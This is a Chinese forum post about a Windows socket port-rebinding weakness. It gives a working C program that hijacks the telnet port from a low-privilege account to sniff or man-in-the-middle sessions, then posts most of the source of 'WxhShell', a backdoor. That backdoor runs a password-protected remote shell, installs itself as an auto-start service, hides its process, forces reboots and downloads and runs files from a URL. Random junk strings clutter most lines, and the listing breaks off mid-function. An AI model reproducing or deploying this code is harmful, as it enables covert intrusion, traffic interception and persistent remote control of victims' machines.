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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F(,UA+$A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4(8xjL:  
'hqBo|  
  saddr.sin_family = AF_INET; Qk976  
}`\/f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }4//@J?:  
SF[FmN!^^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~1L:_Sg*  
&(N+.T5cp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8|%^3O 0X  
D5,P)[  
  这意味着什么?意味着可以进行如下的攻击: ep/Y^&$M  
-E4XIn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '#/G,%m<!i  
>>{FzR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %w7pkh,  
!\Xm!I8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hC <O`|lF  
pmWr]G3,*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D BE4&  
A:l@_*C..  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5L,}e<S$  
GL{57  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @&|l^ 1  
~{,X3-S_H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qqrq11W  
e [_m< e  
  #include ?L&|Uw+  
  #include 03E4cYxt5  
  #include /,=@8k!t?  
  #include    4;`oUt'.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l 'DsZ9y@2  
  int main() 91>fqe  
  { %wcSM~w  
  WORD wVersionRequested; ~w8JH2O  
  DWORD ret; k@ZLg9  
  WSADATA wsaData; \.YS%"Vz  
  BOOL val; 1$qh`<\  
  SOCKADDR_IN saddr; Tou/5?# %e  
  SOCKADDR_IN scaddr; <Rh6r}f  
  int err; JR CrZW}  
  SOCKET s; &nBa=Enf  
  SOCKET sc; PxH72hBS  
  int caddsize; bwiPS1+);  
  HANDLE mt; w2_bd7Wp<  
  DWORD tid;   Z87_#5  
  wVersionRequested = MAKEWORD( 2, 2 ); y E[#ze  
  err = WSAStartup( wVersionRequested, &wsaData ); @2'Mt}R>  
  if ( err != 0 ) { ZaNQpH.  
  printf("error!WSAStartup failed!\n"); 2^8%>,  
  return -1; E4 m`  
  } S26MDLk`R3  
  saddr.sin_family = AF_INET; V3 ~~  
   .9Y)AtJTS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AL>$HB$  
C8z{XSo  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `{qG1  
  saddr.sin_port = htons(23); "*G.EiLq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sc,Xw:YO  
  { 0}_[DAd6  
  printf("error!socket failed!\n"); M Y|w  
  return -1; {nLjY|*  
  } [l,Ei?  
  val = TRUE; [jmd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &x3VCsC\|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2RSt)3!},  
  { fW?o@vlO  
  printf("error!setsockopt failed!\n"); rtc9wu  
  return -1; F_CYYGZ  
  } u*hSj)vr1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iX)%Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 720DV +o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KZ/=IP=  
i>(e}<i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H)n9O/u  
  { -\C!I  
  ret=GetLastError(); S\;V4@<Kn  
  printf("error!bind failed!\n"); RsYU59_Y  
  return -1; w!D|]LoE  
  } WYr/oRO  
  listen(s,2); >3Eo@J,?d  
  while(1) <~WsD)=$  
  { @ta7"6p-i@  
  caddsize = sizeof(scaddr); >D4# y  
  //接受连接请求 M]J ^N#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OynXkH]0T+  
  if(sc!=INVALID_SOCKET) 4T ~}  
  { i*Z" Me  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =|Y,+/R?  
  if(mt==NULL) c I4K+  
  { h D/*h*}T>  
  printf("Thread Creat Failed!\n"); ynQ: > tw  
  break; }R{ts  
  } ZusEfh?  
  } Rd#WMo2Xd  
  CloseHandle(mt); =o$sxb E(  
  } '!eKTC>  
  closesocket(s); 9J2NH|]c  
  WSACleanup(); H["`Mn7j2  
  return 0; c_4[e5z  
  }   C@'h<[v`1v  
  DWORD WINAPI ClientThread(LPVOID lpParam) G U( _  
  { 0|{u{w@!`  
  SOCKET ss = (SOCKET)lpParam; N(Fp0  
  SOCKET sc; xwq+j "  
  unsigned char buf[4096]; LhA/xf  
  SOCKADDR_IN saddr; $}!p+$  
  long num; @}}$zv6l,  
  DWORD val; ,Y/ g2 4R  
  DWORD ret; YTUZoW2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sTn<#l6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KbA?7^zo`  
  saddr.sin_family = AF_INET; NTYg[VTr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n(;|q&3  
  saddr.sin_port = htons(23); hhCrUn"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x-^`~ p  
  { wAf\|{Vn  
  printf("error!socket failed!\n"); i OW#>66d  
  return -1; NQJq6S4@  
  } 2AT5  
  val = 100; X\{LnZ@r4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zh8nc%X{  
  {  W\d{a(*  
  ret = GetLastError(); ;DFSzbF`  
  return -1; JB<Sl4  
  } TJK[ev};S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O$_)G\\\m  
  { _`&m\Qe>  
  ret = GetLastError(); S4Y&  
  return -1; *U&0<{|T  
  } +BETF;0D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) oX30VfT  
  { $u]jy0X<Y;  
  printf("error!socket connect failed!\n"); ME46V6[LX]  
  closesocket(sc); Qz5sxi  
  closesocket(ss); Yc_8r+;(  
  return -1; < $J>9k  
  } <m)$K  
  while(1) K|zZS%?$  
  { J:CXW%\ <q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JtYP E?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [>8}J "  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a{^m-fSaR"  
  num = recv(ss,buf,4096,0); 7puFz4+f  
  if(num>0) $rv8K j+  
  send(sc,buf,num,0); \2N!:%k  
  else if(num==0) V58wU:li  
  break; >,gg5<F-E  
  num = recv(sc,buf,4096,0); 7K,-01-:  
  if(num>0) ]O+Ma}dxz:  
  send(ss,buf,num,0); eKE#Yr d=x  
  else if(num==0) Rdvk ml@@  
  break; %7zuQ \w  
  } LClNxm2X  
  closesocket(ss); Ktb\ bw  
  closesocket(sc); C7lH]`W|/  
  return 0 ; PF)jdcX  
  } mn, =i  
*6sl   
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========================================================== +T|JK7  
mHV%I@`Y6  
下边附上一个代码,,WXhSHELL SQBa;hvgM  
h`KFL/fT  
========================================================== 7X0Lq}G@  
Sg&UagBj  
#include "stdafx.h" UW N*j_9i  
HW3 }uP\c  
#include <stdio.h> 7!@-*/|!S9  
#include <string.h> K&POyOvT  
#include <windows.h> -~s!73pDY  
#include <winsock2.h> W5EDVP ur  
#include <winsvc.h> z.7cy@N6  
#include <urlmon.h> *7CV^mDm  
KK&rb~  
#pragma comment (lib, "Ws2_32.lib") ah+~y,Gl  
#pragma comment (lib, "urlmon.lib") f sJ9bQm/  
En~5"yW5>]  
#define MAX_USER   100 // 最大客户端连接数 xf<at->  
#define BUF_SOCK   200 // sock buffer Bc+w+  
#define KEY_BUFF   255 // 输入 buffer XC4X-j3  
/qMG=Z  
#define REBOOT     0   // 重启 l1T m`7}  
#define SHUTDOWN   1   // 关机 i!J8 d"  
$G8E 3|k  
#define DEF_PORT   5000 // 监听端口 |v \_@09=  
iP =V8g?L  
#define REG_LEN     16   // 注册表键长度 wT;0w3.Z  
#define SVC_LEN     80   // NT服务名长度 -e_hrCW&9  
<v)1<*I  
// 从dll定义API XG}C+;4Aw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {K+i cTL3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #xho[\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o C<.=2]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )Q1"\\2j0  
K~c=M",mW  
// wxhshell配置信息 ;T"zV{;7BR  
struct WSCFG { `P@T$bC  
  int ws_port;         // 监听端口 @W s*QTlV  
  char ws_passstr[REG_LEN]; // 口令 k3u "A_"c  
  int ws_autoins;       // 安装标记, 1=yes 0=no ti5mIW\  
  char ws_regname[REG_LEN]; // 注册表键名 5]NqRI^0  
  char ws_svcname[REG_LEN]; // 服务名 !Y$h"<M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O[I\A[*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CLRiJ*U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <oR a3Gi(%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wLi4G@jJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,=UK}*e"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z3#P,y9@  
Sm)Ha:[4  
}; GC?ON0g5s  
'?!zG{x  
// default Wxhshell configuration \SN&G `o<  
struct WSCFG wscfg={DEF_PORT, +b.g$CRr  
    "xuhuanlingzhe", 9{(.Il J>  
    1, >OL3H$F  
    "Wxhshell", 4[.oPK=i  
    "Wxhshell", T V<'8 L  
            "WxhShell Service", TOkp%@9/  
    "Wrsky Windows CmdShell Service", f({Ei`|  
    "Please Input Your Password: ", kddZZA3`  
  1, 7({]x*o*%  
  "http://www.wrsky.com/wxhshell.exe", xC{qV,   
  "Wxhshell.exe" H| 8Qp*  
    }; **$LR<L  
n2]/v{E;/  
// 消息定义模块 v K9E   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; { &"CH]r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )CuZDf@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I$<<(VWH  
char *msg_ws_ext="\n\rExit."; 4(|cG7>9-  
char *msg_ws_end="\n\rQuit."; 8dO!  
char *msg_ws_boot="\n\rReboot..."; v-#Q7T  
char *msg_ws_poff="\n\rShutdown..."; zb k q   
char *msg_ws_down="\n\rSave to "; X'd9[).  
i>D.!x  
char *msg_ws_err="\n\rErr!"; $"FQj4%d  
char *msg_ws_ok="\n\rOK!"; '^No)n\`  
=<{np  
char ExeFile[MAX_PATH];  1Md  
int nUser = 0; d{SG Cr 9d  
HANDLE handles[MAX_USER]; LS7, a|  
int OsIsNt; pimtiQqC  
oXb;w@:  
SERVICE_STATUS       serviceStatus; b6U2GDm\s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _CmOd-y  
cd(GvX'  
// 函数声明 S 5/R_5  
int Install(void); E~]R2!9  
int Uninstall(void); )/pU.Z/  
int DownloadFile(char *sURL, SOCKET wsh); zG ^$"f2  
int Boot(int flag); 43mP]*=A  
void HideProc(void); ,cB\  
int GetOsVer(void); vRs,zL$W  
int Wxhshell(SOCKET wsl); d/[; `ZD+  
void TalkWithClient(void *cs); SZ,YS 4M  
int CmdShell(SOCKET sock); -o!$tI&  
int StartFromService(void); { OXFN;2  
int StartWxhshell(LPSTR lpCmdLine); r[4tPk  
sE:M@`2L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rEB @$C^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NWMFtT  
N"]q='t  
// 数据结构和表定义 GT0Of~?f  
SERVICE_TABLE_ENTRY DispatchTable[] = )%`^xR  
{ L3@82yPo!  
{wscfg.ws_svcname, NTServiceMain}, +kzo*zW$L  
{NULL, NULL} SKkUU^\#R`  
}; Dp)=0<$y  
:cF[(i/k4  
// 自我安装 a-=8xs'  
int Install(void) thifRd$4  
{ -'t)=YJ  
  char svExeFile[MAX_PATH]; [n \2  
  HKEY key; )N7Y^CN~  
  strcpy(svExeFile,ExeFile); [_1G@S6Ex  
I'uSp-Sfy  
// 如果是win9x系统,修改注册表设为自启动 |4B:<x   
if(!OsIsNt) { j2QmxTa!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #,":vr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W g02 A\  
  RegCloseKey(key); ;#vKi0V7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BYVY)<v/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;\14b?TUH  
  RegCloseKey(key); }a/x._[s  
  return 0; de p=&  
    } ?~hHGf\^b6  
  } '}B+r@YCN  
} {<R2UI5m5  
else { P<M?Qd 1.  
+yk24 ` >  
// 如果是NT以上系统,安装为系统服务 ZWc]$H?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); apg=-^L'  
if (schSCManager!=0) A v2 08}Y  
{ M%2+y5  
  SC_HANDLE schService = CreateService Wu[&Wv~  
  ( i{`FmrPO~  
  schSCManager, }\\KYyjY  
  wscfg.ws_svcname, pe]A5\4c  
  wscfg.ws_svcdisp, :,'wVS8"]  
  SERVICE_ALL_ACCESS, nxWY7hU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gd-'Z_b  
  SERVICE_AUTO_START, mOy^vMa  
  SERVICE_ERROR_NORMAL, "4ri SxEyF  
  svExeFile, ST:A<Da"  
  NULL, |wiqGzAr{  
  NULL, 8FKXSqhVM  
  NULL, q7_ m&-0)  
  NULL, c:<005\Bg  
  NULL G6/p1xy>o:  
  ); JBE!j-F  
  if (schService!=0) YQHw1  
  { :N4t49i  
  CloseServiceHandle(schService); oSy yd  
  CloseServiceHandle(schSCManager); *h!28Ya(~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gkES5Q  
  strcat(svExeFile,wscfg.ws_svcname); nqI@Y)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'EbWFMjy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qf!p 9@4F[  
  RegCloseKey(key); 9N@W\DT  
  return 0; ?OcJ )5C4  
    } H`1{_  
  } o4m\~as)Y  
  CloseServiceHandle(schSCManager); O_wEcJPE  
} 95 ;x=ju  
} ]s'Q_wh_-v  
DI:]GED" =  
return 1; #gRM i)(F  
} B8f8w)m  
oW ::hB  
// 自我卸载 cAY:AtD  
int Uninstall(void) b\yXbyjZ3.  
{ Fq |Ni$  
  HKEY key; uJzG|$;  
Z/k:~%|E  
if(!OsIsNt) { a1C{(f)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Sj9GxTe  
  RegDeleteValue(key,wscfg.ws_regname); ZA0mz 65  
  RegCloseKey(key); o /j*d3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  6:b! F  
  RegDeleteValue(key,wscfg.ws_regname); w65K[l;2  
  RegCloseKey(key); )J2mM  
  return 0; &]`(v}`]  
  } ,:%CB"J  
} %j.0G`x9 +  
} rDm~h~u5  
else { 3{'Ne}5%I  
>3p \m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i3tg6o4C  
if (schSCManager!=0) >0/i[k-dk  
{ 7j@Hs[ *  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (SpX w,:  
  if (schService!=0) -`'I{g&A  
  { r)y=lAyF>  
  if(DeleteService(schService)!=0) {  7''??X  
  CloseServiceHandle(schService); Sc\*W0m  
  CloseServiceHandle(schSCManager); /rK}?U  
  return 0; L-ET<'u  
  } f.D?sHAn  
  CloseServiceHandle(schService); `, OG7hg  
  } u_@f$  
  CloseServiceHandle(schSCManager); a L} % 2  
} q ?|,O;?  
} NCiW^#b  
`7c~m ypx  
return 1; a!a-b~#cx  
} e|)hG8FlF  
/Lfm&;  
// 从指定url下载文件 ni.cTOSx  
int DownloadFile(char *sURL, SOCKET wsh) gZN8!#h}B  
{ EAT"pxP  
  HRESULT hr; ~-ia+A6GIV  
char seps[]= "/"; } df W%{  
char *token; 2GP=&K/A  
char *file; y&6FybIz  
char myURL[MAX_PATH]; N4v~;;@(  
char myFILE[MAX_PATH]; WJQvB=D&  
ND'E8Ke pq  
strcpy(myURL,sURL); g2BHHL;`  
  token=strtok(myURL,seps); C^O VB-  
  while(token!=NULL) h{CL{>d  
  { *1 uKr9  
    file=token; nL5cK:  
  token=strtok(NULL,seps); w^Sz#_2  
  } N:S/SZI  
`tB gH_$M  
GetCurrentDirectory(MAX_PATH,myFILE);  DGRXd#  
strcat(myFILE, "\\"); Bc(Y(X$PK  
strcat(myFILE, file); .8@$\ZRP  
  send(wsh,myFILE,strlen(myFILE),0); Jb0`42  
send(wsh,"...",3,0); L5Ebc#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b+%f+zz*h  
  if(hr==S_OK) ;ic3).H  
return 0; 8*W#DH!  
else u8'Zl8 g  
return 1; S'k_olx7  
!02`t4Zc-  
} y0Fb_"}  
LzG%Z1`  
// 系统电源模块 S ^"y4- 2  
int Boot(int flag) rx'RSo#1O  
{ hcgMZT!<5  
  HANDLE hToken; m!gz3u]rN  
  TOKEN_PRIVILEGES tkp; O [\i E5+$  
r(6Y*<  
  if(OsIsNt) { @fHi\W2JG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <Q3oT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7TgOK   
    tkp.PrivilegeCount = 1; "fQ~uzg="  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6o!!=}'E[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'vVQg  
if(flag==REBOOT) { c>,'Y)8   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S{Kiy#ltWc  
  return 0; cpe+XvBuK  
} HD@$t)mn  
else { ]jtK I4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g%ndvdb m  
  return 0; ]S&&|Fc  
} Rvkedb  
  } ls?~+\Jb  
  else { [8P:?nDDL  
if(flag==REBOOT) { %r<rcY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xj<Rp|7&  
  return 0; P!$Zx)T  
} S$f9m  
else { }HL]yDO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ynmWW^dg  
  return 0; {i1| R"ta  
} wc0jhHZO ?  
} $CxKuB(  
P]<4R:yb  
return 1; ?# Mr  
} Z_PNI#h*  
3RiWZN  
// win9x进程隐藏模块 TIx|L  
void HideProc(void) @:;)~V  
{ ;5wn67'  
xqXo0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K}2Erm%A@y  
  if ( hKernel != NULL ) ~Xw"}S5  
  { +y,T4^{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,ZKr .`B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,f kcp]}  
    FreeLibrary(hKernel); "MxnFeLM#  
  } =AsEZ)" _  
osciZ'~  
return; TSA,WP\  
} :fKl]XO  
,V'o4]H  
// 获取操作系统版本 9 ^o-EC!_  
int GetOsVer(void) DDvh4<Hk  
{ m9)p-1y@5  
  OSVERSIONINFO winfo; Z<U6<{b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~)*,S^k(C.  
  GetVersionEx(&winfo); l_3`G-`2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tWo{7)Eb  
  return 1; 909?_ v  
  else FK6[>(QO  
  return 0; ::o lN  
} du+y5dw  
m%rd0=}57  
// 客户端句柄模块 xE1 eT,  
int Wxhshell(SOCKET wsl) eD-#b|  
{ hS_6  
  SOCKET wsh; mCRt8 rY;  
  struct sockaddr_in client; $r@ =*(  
  DWORD myID; >82@Q^O  
eeIhed9  
  while(nUser<MAX_USER) H /,gro  
{ ,/[6e\0~  
  int nSize=sizeof(client); 9s_vL9u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]d55m/(   
  if(wsh==INVALID_SOCKET) return 1; ~7Y+2FZ  
g$n7CXoT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8m5p_\&  
if(handles[nUser]==0) ot @|!V  
  closesocket(wsh); & SiP\65N  
else 4f@o mAM  
  nUser++; OtSL*'7>  
  } hp8%.V$f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `/_o!(Z`  
gHhh>FFAq  
  return 0; n 9\ C2r  
} - *F(7$  
"~E[)^ANxD  
// 关闭 socket #u2J;9P  
void CloseIt(SOCKET wsh) nv)2!mAh\  
{ @|LBn6q  
closesocket(wsh); ]e >RK'  
nUser--; I[b}4M6E  
ExitThread(0); &-s'BT[PGq  
} ##KBifU"  
`IOs-%s  
// 客户端请求句柄 CQwL|$)]Y  
void TalkWithClient(void *cs) m#ZO`W  
{ qs|mj}?  
HN_d{ 3  
  SOCKET wsh=(SOCKET)cs; A"`foI$0  
  char pwd[SVC_LEN]; J~%K_~Li  
  char cmd[KEY_BUFF]; j lp:lX  
char chr[1]; U;bK!&Z  
int i,j; y[>;]R7'  
;`l'2 z@N  
  while (nUser < MAX_USER) { "~=mG--I  
Ib|Rf;J~-  
if(wscfg.ws_passstr) { $k0k k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DvPlV q~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cKN$ =gd  
  //ZeroMemory(pwd,KEY_BUFF); 76>7=#m0u'  
      i=0; _nD$b={g  
  while(i<SVC_LEN) { p>vn7;s2#  
bgS$ {n/  
  // 设置超时 FW) x:2BG  
  fd_set FdRead; kgy:Q'  
  struct timeval TimeOut; T(AVlI6  
  FD_ZERO(&FdRead); I<Ksi~*i  
  FD_SET(wsh,&FdRead); ]BtbWKJBqe  
  TimeOut.tv_sec=8; $KUo s+%  
  TimeOut.tv_usec=0; C|d\3S\(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )foq),2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3= DNb+D!  
Glxuz0]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %@;6^=  
  pwd=chr[0]; `Q+ (LBP  
  if(chr[0]==0xd || chr[0]==0xa) { 9Q(+ZG=JkV  
  pwd=0; 8 %%f%y  
  break; Q?8R[i  
  } 6lk l7zm  
  i++; _9tK[ /h  
    } zrR`ecC(b  
(T>nPbv)  
  // 如果是非法用户,关闭 socket |u0( t,T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tniDF>Rb  
} QU%I43  
&LF` W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `Ja?fI'H-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ysmNio  
+E1I");  
while(1) { !O.[PH(,*  
P&j (,7  
  ZeroMemory(cmd,KEY_BUFF); /&CmO>^e  
{GKy'/[  
      // 自动支持客户端 telnet标准   YLwnhy>dD  
  j=0; `W dD8E  
  while(j<KEY_BUFF) { aO@ 7O*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GwG4LIp  
  cmd[j]=chr[0]; @g2 cC  
  if(chr[0]==0xa || chr[0]==0xd) { =Zu^80/  
  cmd[j]=0; 0{[m%eSK'  
  break; "Fy7K#n  
  } j [rB"N`0  
  j++; fwrJ!j  
    } J4"mK1N(  
~7$&WzD  
  // 下载文件 ;<$H)`*  
  if(strstr(cmd,"http://")) { "6R 5+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V?P,&c?84  
  if(DownloadFile(cmd,wsh)) {NPuu?&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :l2g#* c  
  else G0`h%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); za:a)U^n  
  } Mmo6MZ^  
  else { -29gL_dk.  
N0K){  
    switch(cmd[0]) { pG34Qw  
  _(d.!qGz  
  // 帮助 uGwJ K`!~  
  case '?': { h)6GaJ=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4-kZJ\]  
    break; rwniOQe  
  } I.Y['%8,5~  
  // 安装 U9&k;`  
  case 'i': { kM'"4[,nz  
    if(Install()) >6~k9>nDb<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |.F  
    else RbGJ)K!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yMZHUd  
    break; nLwiCf e  
    } B d^"=+c4  
  // 卸载 g ^!C  
  case 'r': { C@Nv;;AlU  
    if(Uninstall()) 8 F2|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kWlAY%   
    else Ku/~ N#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @v}B6j b;  
    break; -UZ@G~K  
    } d'*]ns  
  // 显示 wxhshell 所在路径 Uz608u  
  case 'p': { aYn8 ^  
    char svExeFile[MAX_PATH]; x lsqj`=  
    strcpy(svExeFile,"\n\r"); ewuXpv%vwW  
      strcat(svExeFile,ExeFile); >#}2J[2HQ  
        send(wsh,svExeFile,strlen(svExeFile),0); Uu"0rUzt  
    break; R8-^RvG  
    } @ct+7v~  
  // 重启 z305{B:Y  
  case 'b': { YB)3X[R+0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1`LXz3uBe  
    if(Boot(REBOOT)) "o&HE@t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z?NEO>h7  
    else { wQ+dJ3b$  
    closesocket(wsh); 16X@^j_   
    ExitThread(0); Z~6[ Z  
    } <w>/^|]#  
    break; ~P-*}q2J  
    } pilh@#_h  
  // 关机 IN7<@OS7  
  case 'd': { >Z Ke  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aV`&L,Q)7E  
    if(Boot(SHUTDOWN)) J4 tcQ  
